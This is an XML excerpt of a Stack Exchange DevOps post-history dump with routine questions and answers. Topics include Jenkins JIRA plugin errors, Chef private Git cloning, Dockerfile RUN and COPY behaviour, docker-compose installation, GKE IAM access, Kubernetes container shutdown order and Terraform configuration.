hudson.model.ResourceController.execute(ResourceController.java:97)&#xD;&#xA;    	at hudson.model.Executor.run(Executor.java:421)&#xD;&#xA;    Caused by: RestClientException{statusCode=Optional.of(400), errorCollections=[ErrorCollection{status=400, errors={}, errorMessages=[The issue key '$MY_ISSUE_ID' for field 'issue' is invalid.]}]}&#xD;&#xA;    	at com.atlassian.jira.rest.client.internal.async.AbstractAsynchronousRestClient$2.apply(AbstractAsynchronousRestClient.java:176)&#xD;&#xA;    	at com.atlassian.jira.rest.client.internal.async.AbstractAsynchronousRestClient$2.apply(AbstractAsynchronousRestClient.java:170)&#xD;&#xA;    	at com.atlassian.httpclient.api.ResponsePromiseMapFunction.apply(ResponsePromiseMapFunction.java:67)&#xD;&#xA;    	at com.atlassian.httpclient.api.ResponsePromiseMapFunction.apply(ResponsePromiseMapFunction.java:11)&#xD;&#xA;    	at com.atlassian.util.concurrent.Promises$Of$3.apply(Promises.java:268)&#xD;&#xA;    	at com.atlassian.util.concurrent.Promises$2.onSuccess(Promises.java:158)&#xD;&#xA;    	at com.google.common.util.concurrent.Futures$6.run(Futures.java:975)&#xD;&#xA;    	at com.google.common.util.concurrent.MoreExecutors$SameThreadExecutorService.execute(MoreExecutors.java:253)&#xD;&#xA;    	at com.google.common.util.concurrent.ExecutionList$RunnableExecutorPair.execute(ExecutionList.java:149)&#xD;&#xA;    	at com.google.common.util.concurrent.ExecutionList.execute(ExecutionList.java:134)&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture.set(AbstractFuture.java:170)&#xD;&#xA;    	at com.google.common.util.concurrent.SettableFuture.set(SettableFuture.java:53)&#xD;&#xA;    	at com.atlassian.util.concurrent.Promises$Of$3.apply(Promises.java:268)&#xD;&#xA;    	at com.atlassian.util.concurrent.Promises$2.onSuccess(Promises.java:158)&#xD;&#xA;    	at com.google.common.util.concurrent.Futures$6.run(Futures.java:975)&#xD;&#xA;    	at com.google.common.util.concurrent.MoreExecutors$SameThreadExecutorService.execute(MoreExecutors.java:253)&#xD;&#xA;    	at com.google.common.util.concurrent.ExecutionList$RunnableExecutorPair.execute(ExecutionList.java:149)&#xD;&#xA;    	at com.google.common.util.concurrent.ExecutionList.execute(ExecutionList.java:134)&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture.set(AbstractFuture.java:170)&#xD;&#xA;    	at com.google.common.util.concurrent.SettableFuture.set(SettableFuture.java:53)&#xD;&#xA;    	at com.atlassian.httpclient.apache.httpcomponents.SettableFuturePromiseHttpPromiseAsyncClient$1$1.run(SettableFuturePromiseHttpPromiseAsyncClient.java:46)&#xD;&#xA;    	at com.atlassian.httpclient.apache.httpcomponents.SettableFuturePromiseHttpPromiseAsyncClient$ThreadLocalDelegateRunnable$1.run(SettableFuturePromiseHttpPromiseAsyncClient.java:197)&#xD;&#xA;    	at com.atlassian.httpclient.apache.httpcomponents.SettableFuturePromiseHttpPromiseAsyncClient.runInContext(SettableFuturePromiseHttpPromiseAsyncClient.java:90)&#xD;&#xA;    	at com.atlassian.httpclient.apache.httpcomponents.SettableFuturePromiseHttpPromiseAsyncClient$ThreadLocalDelegateRunnable.run(SettableFuturePromiseHttpPromiseAsyncClient.java:192)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)&#xD;&#xA;    	at java.lang.Thread.run(Thread.java:748)&#xD;&#xA;&#xD;&#xA;`$MY_ISSUE_ID` is valid environment variable, and I am able to access it on other section of the build.&#xD;&#xA;&#xD;&#xA;I tried `issue=${XXXX}`, `issue=XXXX`, `issue=&quot;$XXXX&quot;` etc... but all gives error.&#xD;&#xA;&#xD;&#xA;After [answer](https://devops.stackexchange.com/a/4855/9351) I tried `env. MY_ISSUE_ID` but it give same error.&#xD;&#xA;&#xD;&#xA;    WARNING: jira rest client get issue from jql search error. cause: RestClientException{statusCode=Optional.of(400), errorCollections=[ErrorCollection{status=400, errors={}, errorMessages=[The issue key 'env. MY_ISSUE_ID' for field 'issue' is invalid.]}]}&#xD;&#xA;    java.util.concurrent.ExecutionException: RestClientException{statusCode=Optional.of(400), errorCollections=[ErrorCollection{status=400, errors={}, errorMessages=[The issue key 'env. MY_ISSUE_ID' for field 'issue' is invalid.]}]}&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture$Sync.getValue(AbstractFuture.java:289)&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture$Sync.get(AbstractFuture.java:262)&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture.get(AbstractFuture.java:91)&#xD;&#xA;    	at com.google.common.util.concurrent.ForwardingFuture.get(ForwardingFuture.java:69)&#xD;&#xA;    	at com.atlassian.jira.rest.client.internal.async.DelegatingPromise.get(DelegatingPromise.java:113)&#xD;&#xA;    	at hudson.plugins.jira.JiraRestService.getIssuesFromJqlSearch(JiraRestService.java:177)&#xD;&#xA;    	at hudson.plugins.jira.JiraSession.getIssuesFromJqlSearch(JiraSession.java:132)&#xD;&#xA;    	at hudson.plugins.jira.selector.JqlIssueSelector.findIssueIds(JqlIssueSelector.java:46)&#xD;&#xA;    	at hudson.plugins.jira.Updater.perform(Updater.java:89)&#xD;&#xA;    	at hudson.plugins.jira.JiraIssueUpdater.perform(JiraIssueUpdater.java:64)&#xD;&#xA;    	at hudson.tasks.BuildStepCompatibilityLayer.perform(BuildStepCompatibilityLayer.java:81)&#xD;&#xA;    	at hudson.tasks.BuildStepMonitor$3.perform(BuildStepMonitor.java:45)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.perform(AbstractBuild.java:744)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.performAllBuildSteps(AbstractBuild.java:690)&#xD;&#xA;    	at hudson.model.Build$BuildExecution.post2(Build.java:186)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.post(AbstractBuild.java:635)&#xD;&#xA;    	at hudson.model.Run.execute(Run.java:1749)&#xD;&#xA;    	at com.tikal.jenkins.plugins.multijob.MultiJobBuild.run(MultiJobBuild.java:76)&#xD;&#xA;    	at hudson.model.ResourceController.execute(ResourceController.java:97)&#xD;&#xA;    	at hudson.model.Executor.run(Executor.java:421)&#xD;&#xA;    Caused by: RestClientException{statusCode=Optional.of(400), errorCollections=[ErrorCollection{status=400, errors={}, errorMessages=[The issue key 'env.MY_ISSUE_ID' for field 'issue' is invalid.]}]}&#xD;&#xA;    	at com.atlassian.jira.rest.client.internal.async.AbstractAsynchronousRestClient$2.apply(AbstractAsynchronousRestClient.java:176)&#xD;&#xA;    	at com.atlassian.jira.rest.client.internal.async.AbstractAsynchronousRestClient$2.apply(AbstractAsynchronousRestClient.java:170)&#xD;&#xA;    	at com.atlassian.httpclient.api.ResponsePromiseMapFunction.apply(ResponsePromiseMapFunction.java:67)&#xD;&#xA;    	at com.atlassian.httpclient.api.ResponsePromiseMapFunction.apply(ResponsePromiseMapFunction.java:11)&#xD;&#xA;    	at com.atlassian.util.concurrent.Promises$Of$3.apply(Promises.java:295)&#xD;&#xA;    	at com.atlassian.util.concurrent.Promises$2.onSuccess(Promises.java:185)&#xD;&#xA;    	at com.google.common.util.concurrent.Futures$6.run(Futures.java:975)&#xD;&#xA;    	at com.google.common.util.concurrent.MoreExecutors$SameThreadExecutorService.execute(MoreExecutors.java:253)&#xD;&#xA;    	at com.google.common.util.concurrent.ExecutionList$RunnableExecutorPair.execute(ExecutionList.java:149)&#xD;&#xA;    	at com.google.common.util.concurrent.ExecutionList.execute(ExecutionList.java:134)&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture.set(AbstractFuture.java:170)&#xD;&#xA;    	at com.google.common.util.concurrent.SettableFuture.set(SettableFuture.java:53)&#xD;&#xA;    	at com.atlassian.util.concurrent.Promises$Of$3.apply(Promises.java:295)&#xD;&#xA;    	at com.atlassian.util.concurrent.Promises$2.onSuccess(Promises.java:185)&#xD;&#xA;    	at com.google.common.util.concurrent.Futures$6.run(Futures.java:975)&#xD;&#xA;    	at com.google.common.util.concurrent.MoreExecutors$SameThreadExecutorService.execute(MoreExecutors.java:253)&#xD;&#xA;    	at com.google.common.util.concurrent.ExecutionList$RunnableExecutorPair.execute(ExecutionList.java:149)&#xD;&#xA;    	at com.google.common.util.concurrent.ExecutionList.execute(ExecutionList.java:134)&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture.set(AbstractFuture.java:170)&#xD;&#xA;    	at com.google.common.util.concurrent.SettableFuture.set(SettableFuture.java:53)&#xD;&#xA;    	at com.atlassian.httpclient.apache.httpcomponents.SettableFuturePromiseHttpPromiseAsyncClient$1$1.run(SettableFuturePromiseHttpPromiseAsyncClient.java:46)&#xD;&#xA;    	at com.atlassian.httpclient.apache.httpcomponents.SettableFuturePromiseHttpPromiseAsyncClient$ThreadLocalDelegateRunnable$1.run(SettableFuturePromiseHttpPromiseAsyncClient.java:197)&#xD;&#xA;    	at com.atlassian.httpclient.apache.httpcomponents.SettableFuturePromiseHttpPromiseAsyncClient.runInContext(SettableFuturePromiseHttpPromiseAsyncClient.java:90)&#xD;&#xA;    	at com.atlassian.httpclient.apache.httpcomponents.SettableFuturePromiseHttpPromiseAsyncClient$ThreadLocalDelegateRunnable.run(SettableFuturePromiseHttpPromiseAsyncClient.java:192)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)&#xD;&#xA;    	at java.lang.Thread.run(Thread.java:748)&#xD;&#xA;&#xD;&#xA;What is the way to pass `environment variable` in **jql** for `post build action`.&#xD;&#xA;&#xD;&#xA;When I gave `issue=MYPROJECT-1234`, it works fine. But, I want to set `MYPROJECT-1234` as environment variable." ContentLicense="CC BY-SA 4.0" />
  <row Id="15385" PostHistoryTypeId="2" PostId="4881" RevisionGUID="2f01cc5a-7303-4f92-8122-222d89583418" CreationDate="2018-08-31T15:03:38.460" UserId="9529" Text="The problem was a typo in the var-file&#xD;&#xA;I had a double &quot; in a value:&#xD;&#xA;&#xD;&#xA;    varname = &quot;&quot;value&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15386" PostHistoryTypeId="10" PostId="4879" RevisionGUID="3fc2809c-6685-4d69-8923-80b7b432ea5b" CreationDate="2018-08-31T15:07:57.113" UserId="13" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="15390" PostHistoryTypeId="50" PostId="4044" RevisionGUID="1275d4fd-8196-4b0f-897d-f292ce65fa87" CreationDate="2018-08-31T19:01:28.213" UserId="-1" />
  <row Id="15393" PostHistoryTypeId="50" PostId="4404" RevisionGUID="eb47c441-6597-4c44-b563-65d6deaca7bd" CreationDate="2018-09-01T06:01:22.250" UserId="-1" />
  <row Id="15394" PostHistoryTypeId="50" PostId="4425" RevisionGUID="54cf7701-d418-413e-9d6b-a42a1b475b98" CreationDate="2018-09-01T12:00:51.747" UserId="-1" />
  <row Id="15395" PostHistoryTypeId="2" PostId="4883" RevisionGUID="3e8e85fd-611f-40fb-b3a9-f4eb509ea756" CreationDate="2018-09-01T13:54:55.130" UserId="9313" Text="I am wanting to clone a git repo using the git resource in Chef but instead of SSH like everywhere seems to show I want to use just username/password. The security of the repo is not important but don't want public as it is not a great example of my work. &#xD;&#xA;&#xD;&#xA;**Currently this is what I have:**&#xD;&#xA;&#xD;&#xA;    git 'My private repo' do&#xD;&#xA;      repository 'https://github.com/&lt;username&gt;/&lt;repo name&gt;.git'&#xD;&#xA;      reference 'master'&#xD;&#xA;      action :sync&#xD;&#xA;    end" ContentLicense="CC BY-SA 4.0" />
  <row Id="15396" PostHistoryTypeId="1" PostId="4883" RevisionGUID="3e8e85fd-611f-40fb-b3a9-f4eb509ea756" CreationDate="2018-09-01T13:54:55.130" UserId="9313" Text="Chef git private repo using username/password" ContentLicense="CC BY-SA 4.0" />
  <row Id="15397" PostHistoryTypeId="3" PostId="4883" RevisionGUID="3e8e85fd-611f-40fb-b3a9-f4eb509ea756" CreationDate="2018-09-01T13:54:55.130" UserId="9313" Text="&lt;git&gt;&lt;chef&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15398" PostHistoryTypeId="5" PostId="4883" RevisionGUID="5c43c9ee-e252-4bf2-a8a1-9e88a9795e86" CreationDate="2018-09-01T14:07:35.987" UserId="9313" Comment="Update to my current code" Text="I am wanting to clone a git repo using the git resource in Chef but instead of SSH like everywhere seems to show I want to use just username/password. The security of the repo is not important but don't want public as it is not a great example of my work. &#xD;&#xA;&#xD;&#xA;**Currently this is what I have:**&#xD;&#xA;&#xD;&#xA;    git 'My private repo' do&#xD;&#xA;      repository 'https://&lt;username&gt;:&lt;password&gt;@github.com/&lt;username&gt;/&lt;repo name&gt;.git'&#xD;&#xA;      reference 'master'&#xD;&#xA;      action :sync&#xD;&#xA;    end" ContentLicense="CC BY-SA 4.0" />
  <row Id="15399" PostHistoryTypeId="50" PostId="4645" RevisionGUID="7053b1aa-a047-44e3-ac4f-442bd8c79456" CreationDate="2018-09-01T16:00:47.670" UserId="-1" />
  <row Id="15400" PostHistoryTypeId="5" PostId="4865" RevisionGUID="8b1992f9-3f07-403d-a57e-6712c2764e00" CreationDate="2018-09-01T17:28:54.593" UserId="739" Comment="copy editing and code formatting of options" Text="Docker's [EXPOSE documentation][1] addresses this specific point:&#xD;&#xA;&#xD;&#xA;&gt; The `EXPOSE` instruction does not actually publish the port. It&#xD;&#xA;&gt; functions as a type of documentation between the person who builds the&#xD;&#xA;&gt; image and the person who runs the container, about which ports are&#xD;&#xA;&gt; intended to be published. To actually publish the port when running&#xD;&#xA;&gt; the container, use the `-p` flag on `docker run` to publish and map&#xD;&#xA;&gt; one or more ports, or the `-P` flag to publish all exposed ports and&#xD;&#xA;&gt; map them to high-order ports.&#xD;&#xA;&#xD;&#xA;Pay attention to the last sentence, if you expose multiple ports then `-P` becomes useful to avoid setting multiple `-p` on the command line.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/builder/#expose" ContentLicense="CC BY-SA 4.0" />
  <row Id="15401" PostHistoryTypeId="24" PostId="4865" RevisionGUID="8b1992f9-3f07-403d-a57e-6712c2764e00" CreationDate="2018-09-01T17:28:54.593" Comment="Proposed by 739 approved by 40, 13 edit id of 778" ContentLicense="CC BY-SA 4.0" />
  <row Id="15402" PostHistoryTypeId="2" PostId="4884" RevisionGUID="2b6ff373-e744-4191-b95b-8cfbbbae3568" CreationDate="2018-09-01T19:36:33.437" UserId="9551" Text="When docker build does a RUN command, what &quot;environment&quot; is it running in? &#xD;&#xA;&#xD;&#xA;Explaining the question, does it run at build time, or when the container starts?  Is it using the operating system mentioned in the FROM?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15403" PostHistoryTypeId="1" PostId="4884" RevisionGUID="2b6ff373-e744-4191-b95b-8cfbbbae3568" CreationDate="2018-09-01T19:36:33.437" UserId="9551" Text="what environment does a build &quot;RUN&quot; run in?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15404" PostHistoryTypeId="3" PostId="4884" RevisionGUID="2b6ff373-e744-4191-b95b-8cfbbbae3568" CreationDate="2018-09-01T19:36:33.437" UserId="9551" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15406" PostHistoryTypeId="2" PostId="4885" RevisionGUID="fbfd6d5b-d353-48dc-b257-7adfcd34c06f" CreationDate="2018-09-02T00:18:00.983" UserId="7730" Text="In the Dockerfile, the `RUN` step is performed during the `docker build` process. The operating system is shared with the host (containers != VMs). The filesystem and rest of the configuration used to define the temporary container is based on the state of the image resulting from the previous step. Each step in the Dockerfile extends the image with additional metadata and filesystem layers.&#xD;&#xA;&#xD;&#xA;The `RUN` step itself is performed inside a temporary container. The output of the `RUN` step is any filesystem changes that exist in the container at the time the command exits successfully. Changes to the shell (like a `cd` command or setting an environment variable inside the shell), spawned processes, and changes to files inside a Volume are all discarded. The changes to the container filesystem are captured as a filesystem layer that is included in the resulting image." ContentLicense="CC BY-SA 4.0" />
  <row Id="15407" PostHistoryTypeId="50" PostId="4508" RevisionGUID="9f757067-b93f-487d-8066-5142a29f70c7" CreationDate="2018-09-02T08:01:32.540" UserId="-1" />
  <row Id="15409" PostHistoryTypeId="2" PostId="4886" RevisionGUID="2a681dbe-2064-4894-99d3-bcc00a468d03" CreationDate="2018-09-02T08:31:39.143" UserId="8189" Text="I am hosting an application on GKE and would like to be able to let users from my organization access this application from the web. I would like them to be able to log-in using their Google Account IAM credentials.&#xD;&#xA;&#xD;&#xA;Is there a way to configure a service exposing the clusters web endpoint such that to access this service the user simply needs to login with their google account?&#xD;&#xA;&#xD;&#xA;For example, when testing a service I can easily do a web-preview in the cloud-shell and then access the web application in my browser. &#xD;&#xA;&#xD;&#xA;Is there a way to configure this such that any users authorized in my organization can access the web interface of my application? " ContentLicense="CC BY-SA 4.0" />
  <row Id="15410" PostHistoryTypeId="1" PostId="4886" RevisionGUID="2a681dbe-2064-4894-99d3-bcc00a468d03" CreationDate="2018-09-02T08:31:39.143" UserId="8189" Text="Using Google IAM for GKE service web access" ContentLicense="CC BY-SA 4.0" />
  <row Id="15411" PostHistoryTypeId="3" PostId="4886" RevisionGUID="2a681dbe-2064-4894-99d3-bcc00a468d03" CreationDate="2018-09-02T08:31:39.143" UserId="8189" Text="&lt;kubernetes&gt;&lt;google-cloud-platform&gt;&lt;google-compute-engine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15413" PostHistoryTypeId="50" PostId="4584" RevisionGUID="1bf55e14-2c1b-4de7-9572-4afa98139a4e" CreationDate="2018-09-02T12:01:19.020" UserId="-1" />
  <row Id="15414" PostHistoryTypeId="5" PostId="4584" RevisionGUID="08c78df2-f294-438e-874b-64aec92001af" CreationDate="2018-09-02T14:34:10.053" UserId="47" Comment="improved formatting" Text="I have downloaded docker toolbox to learn docker and I have started with docker compose topic. I had run few docker-compose command and next time when I restart the docker CLI(here docker quickstart terminal) everytime I have to run below docker-compose install commands &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    sudo curl -L https://github.com/docker/compose/releases/download/1.21.2/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose&#xD;&#xA;&#xD;&#xA;    sudo chmod +x /usr/local/bin/docker-compose&#xD;&#xA;&#xD;&#xA;Is there any way to permanently install docker compose.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15415" PostHistoryTypeId="2" PostId="4887" RevisionGUID="262f2913-dd7a-4f5e-92e1-b607cfb1302d" CreationDate="2018-09-02T15:20:53.340" UserId="9556" Text="I think it might be a good idea to update deployment.yaml for each version/release and commit to git so that later, any other person may follow through and even revert back to an earlier release/version." ContentLicense="CC BY-SA 4.0" />
  <row Id="15416" PostHistoryTypeId="50" PostId="4058" RevisionGUID="128f9f70-7d13-465f-984a-53207dd9db04" CreationDate="2018-09-02T20:01:25.757" UserId="-1" />
  <row Id="15417" PostHistoryTypeId="2" PostId="4888" RevisionGUID="5486bc06-4d7d-4ada-8eed-d278dae7d192" CreationDate="2018-09-02T20:04:48.317" UserId="9560" Text="I've encountered a Multi-stage Build example, where the first stage builds a ngnix server, and the second stage creates a ngnix service from that image.  &#xD;&#xA;&#xD;&#xA;The second stage looks like this:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    # second stage&#xD;&#xA;    FROM scratch&#xD;&#xA;    COPY --from=build /etc/passwd /etc/group /etc/&#xD;&#xA;    COPY --from=build /usr/local/nginx /usr/local/nginx&#xD;&#xA;    COPY index.html /usr/local/nginx/html&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;This is a working example.&#xD;&#xA;&#xD;&#xA;Now, notice the first COPY command. It received three parameters(!)&#xD;&#xA;&#xD;&#xA;What is the meaning of 3 parameters in the COPY command? do you have a reference to documentation regarding this input?&#xD;&#xA;&#xD;&#xA;Notice that the second COPY command uses 2 parameters, which I assumed are src and dest folders." ContentLicense="CC BY-SA 4.0" />
  <row Id="15418" PostHistoryTypeId="1" PostId="4888" RevisionGUID="5486bc06-4d7d-4ada-8eed-d278dae7d192" CreationDate="2018-09-02T20:04:48.317" UserId="9560" Text="Dockerfile COPY command with three input parameters" ContentLicense="CC BY-SA 4.0" />
  <row Id="15419" PostHistoryTypeId="3" PostId="4888" RevisionGUID="5486bc06-4d7d-4ada-8eed-d278dae7d192" CreationDate="2018-09-02T20:04:48.317" UserId="9560" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;builds&gt;&lt;nginx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15420" PostHistoryTypeId="2" PostId="4889" RevisionGUID="b6ea10eb-356b-4b90-9d39-7e2e07cdda6e" CreationDate="2018-09-02T21:32:33.247" UserId="800" Text="As per this [docker documentation](https://docs.docker.com/engine/reference/builder/#copy) the copy instruction may have multiple sources but only one destination.  &#xD;&#xA;Your first copy is coping two file `/etc/passwd` and `/etc/group` to `/etc`." ContentLicense="CC BY-SA 4.0" />
  <row Id="15427" PostHistoryTypeId="50" PostId="4678" RevisionGUID="33022d59-8f58-469d-ab4f-74eb0bbfa1f4" CreationDate="2018-09-03T08:01:49.003" UserId="-1" />
  <row Id="15430" PostHistoryTypeId="2" PostId="4892" RevisionGUID="60ab3e64-2d33-4a3b-8d86-ef813e133af7" CreationDate="2018-09-03T11:15:46.897" UserId="9567" Text="I have two containers inside one pod. One is my application container and the second is a CloudSQL proxy container. Basically my application container is dependent on this CloudSQL container. &#xD;&#xA;&#xD;&#xA;The problem is that when a pod is terminated, the CloudSQL proxy container is terminated first and only after some seconds my application container is terminated.&#xD;&#xA;&#xD;&#xA;So, before my container is terminated, it keeps sending requests to the CloudSQL container, resulting in errors:&#xD;&#xA;&#xD;&#xA;    could not connect to server: Connection refused Is the server running on host &quot;127.0.0.1&quot; and accepting TCP/IP connections on port 5432&#xD;&#xA;&#xD;&#xA;That's why, I thought it would be a good idea to specify the order of termination, so that my application container is terminated first and only then the cloudsql one.&#xD;&#xA;&#xD;&#xA;I was unable to find anything that could do this in the documentation. But maybe there is some way.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15431" PostHistoryTypeId="1" PostId="4892" RevisionGUID="60ab3e64-2d33-4a3b-8d86-ef813e133af7" CreationDate="2018-09-03T11:15:46.897" UserId="9567" Text="Control order of container termination in a single pod in Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="15432" PostHistoryTypeId="3" PostId="4892" RevisionGUID="60ab3e64-2d33-4a3b-8d86-ef813e133af7" CreationDate="2018-09-03T11:15:46.897" UserId="9567" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15433" PostHistoryTypeId="50" PostId="3646" RevisionGUID="eb07c090-9a27-4a53-b96d-4ab081f3cad7" CreationDate="2018-09-03T14:01:20.233" UserId="-1" />
  <row Id="15434" PostHistoryTypeId="2" PostId="4893" RevisionGUID="6cde95db-63fa-4068-ad84-d8fa167a9390" CreationDate="2018-09-03T14:43:46.603" UserId="9568" Text="&#xD;&#xA;We have adopted Docker and Terraform as the foundation forour devOps.&#xD;&#xA;We have a basic version of it up and running today.&#xD;&#xA;&#xD;&#xA;Dockerfiles live in each projects git repository and Terraform files&#xD;&#xA;are more centralized. &#xD;&#xA;&#xD;&#xA;The number of projects we manage is increasing as do the number of environments, data seeding To make things more interesting we are also&#xD;&#xA;moving toward splitting services up into microservices where that makes sense.&#xD;&#xA;&#xD;&#xA;So for each project, we have options like:&#xD;&#xA;&#xD;&#xA; - What destination are you targetting (dev local, dev cloud, test (several variations), staging prod)&#xD;&#xA; - What version / tag of the source code should it build from.&#xD;&#xA; - What data should be seeded? &#xD;&#xA; - Who should be notified?&#xD;&#xA; - What infrastructure should it use? (We want to be able to allow &quot;prod infrastructure) to be available for developers to spin up in dev cloud for debugging and testing) (along with several other combination)&#xD;&#xA;&#xD;&#xA;There are a few other parameters we are considering and all in all the&#xD;&#xA;number of possible permutations become very high. &#xD;&#xA;&#xD;&#xA;There is no way we can cleanly keep order of that many Dockerfiles.&#xD;&#xA;&#xD;&#xA;So I am looking for a tool that helps us keep track of all the different configurations and makes it easy to find them. &#xD;&#xA;&#xD;&#xA;Ideally, inside my head, I am picturing a wizard-based web app, where you enter in the parameters and it executes the necessary scripts automagically. &#xD;&#xA;This would also contain logs of what has been done, what environments are running and a few other things.&#xD;&#xA;&#xD;&#xA;So far I havent had much luck. &#xD;&#xA;I know a lot of companies must have solved it and I must be thinking about it&#xD;&#xA;wrong, or there is a big opportunity here.&#xD;&#xA;&#xD;&#xA;Is there such a tool? How do large companies solve this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15435" PostHistoryTypeId="1" PostId="4893" RevisionGUID="6cde95db-63fa-4068-ad84-d8fa167a9390" CreationDate="2018-09-03T14:43:46.603" UserId="9568" Text="How do you handle the huge number of possible permutations of Dockerfiles / Teraform files?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15436" PostHistoryTypeId="3" PostId="4893" RevisionGUID="6cde95db-63fa-4068-ad84-d8fa167a9390" CreationDate="2018-09-03T14:43:46.603" UserId="9568" Text="&lt;docker&gt;&lt;terraform&gt;&lt;configuration-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15437" PostHistoryTypeId="50" PostId="4222" RevisionGUID="7bf59330-4aa4-436d-b150-30eba83cbb51" CreationDate="2018-09-03T17:01:01.817" UserId="-1" />
  <row Id="15438" PostHistoryTypeId="5" PostId="434" RevisionGUID="2ea1a2de-c8b0-4dff-9349-5438ce96ff97" CreationDate="2018-09-03T17:17:04.297" UserId="210" Comment="deleted 1 character in body" Text="No. Because you [cannot distribute Oracle JDK or JRE, the license in effect doesn't allow distribution][1]. When distributed by a third party (embedded with your app) all the liability for it not working is on that party. This is why you will not find Oracle JDK/JRE on any of the public Docker registries, or in any Linux package repositories for that matter.&#xD;&#xA;&#xD;&#xA;You can create your own image, and install Oracle JDK or JRE using the [webupd8team/java][2] package for Ubuntu/Debian.&#xD;&#xA;&#xD;&#xA;And if you are using Alpine Linux [this blog post][3] explains which dependencies are required, and [links to StackOverflow][4] for installation instructions.&#xD;&#xA;&#xD;&#xA;**Update**: Oracle has an official Docker image on the *Docker Store* now. https://blogs.oracle.com/developers/official-docker-image-for-oracle-java-and-the-openjdk-roadmap-for-containers&#xD;&#xA;&#xD;&#xA;Link to *Docker Store* Oracle Java Image - https://store.docker.com/images/oracle-serverjre-8&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.oracle.com/technetwork/java/javase/terms/license/index.html&#xD;&#xA;  [2]: https://launchpad.net/~webupd8team/+archive/ubuntu/java&#xD;&#xA;  [3]: https://developer.atlassian.com/blog/2015/08/minimal-java-docker-containers/&#xD;&#xA;  [4]: https://stackoverflow.com/questions/10268583/downloading-java-jdk-on-linux-via-wget-is-shown-license-page-instead" ContentLicense="CC BY-SA 4.0" />
  <row Id="15442" PostHistoryTypeId="50" PostId="3816" RevisionGUID="ed4eb0cd-8a79-4aad-8b1b-dfc44ce4a2b6" CreationDate="2018-09-03T22:00:49.073" UserId="-1" />
  <row Id="15444" PostHistoryTypeId="50" PostId="4454" RevisionGUID="1dfa78ee-8e61-4d48-9012-1d908092fd54" CreationDate="2018-09-04T00:00:40.280" UserId="-1" />
  <row Id="15446" PostHistoryTypeId="50" PostId="4106" RevisionGUID="1d32d95f-9223-41bb-8086-2ae419b97eb3" CreationDate="2018-09-04T07:01:30.983" UserId="-1" />
  <row Id="15450" PostHistoryTypeId="2" PostId="4897" RevisionGUID="425d97a5-d0ef-4d17-a1c1-8c47b46cb4e7" CreationDate="2018-09-04T09:43:24.923" UserId="9580" Text="So let's imagine you have 20 microservices, each in a separate repository. Each microservice needs to be deployed into 5+ environments: dev local, dev cloud, test, staging, prod. Understandably all configuration will be different in each environment. However, you don't need to put it into the Dockerfile - in fact you don't put any configuration into the Dockerfile. Your app gets all required parameters from environment variables, or may be from a config file, if it gets too complex. &#xD;&#xA;&#xD;&#xA;So you would have one Dockerfile per project, and if your developers need to spin it up locally, they will just use docker-compose, which has all environment variables set up, and maybe a config file mounted as volume. In stage envs the configuration will be totally different, but the Docker image will be the same. Your app will need to be able to read this configuration at start up time, and bail out early if something doesn't work.&#xD;&#xA;&#xD;&#xA;Read https://12factor.net/config for some inspiration on how to configure your app.&#xD;&#xA;&#xD;&#xA;Now, provisioning the infrastructure with Terraform would follow the same approach. You would have a generic module which provisions a set of some resources, and it would accept a bunch of parameters which would depend on environment. You can use [workspaces][1] to manage this quite easily.&#xD;&#xA;&#xD;&#xA;As for the last question, large companies solve this with a CI/CD system. This can Jenkins, or Spinnaker, or any of the other tools, whichever you prefer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/state/workspaces.html" ContentLicense="CC BY-SA 4.0" />
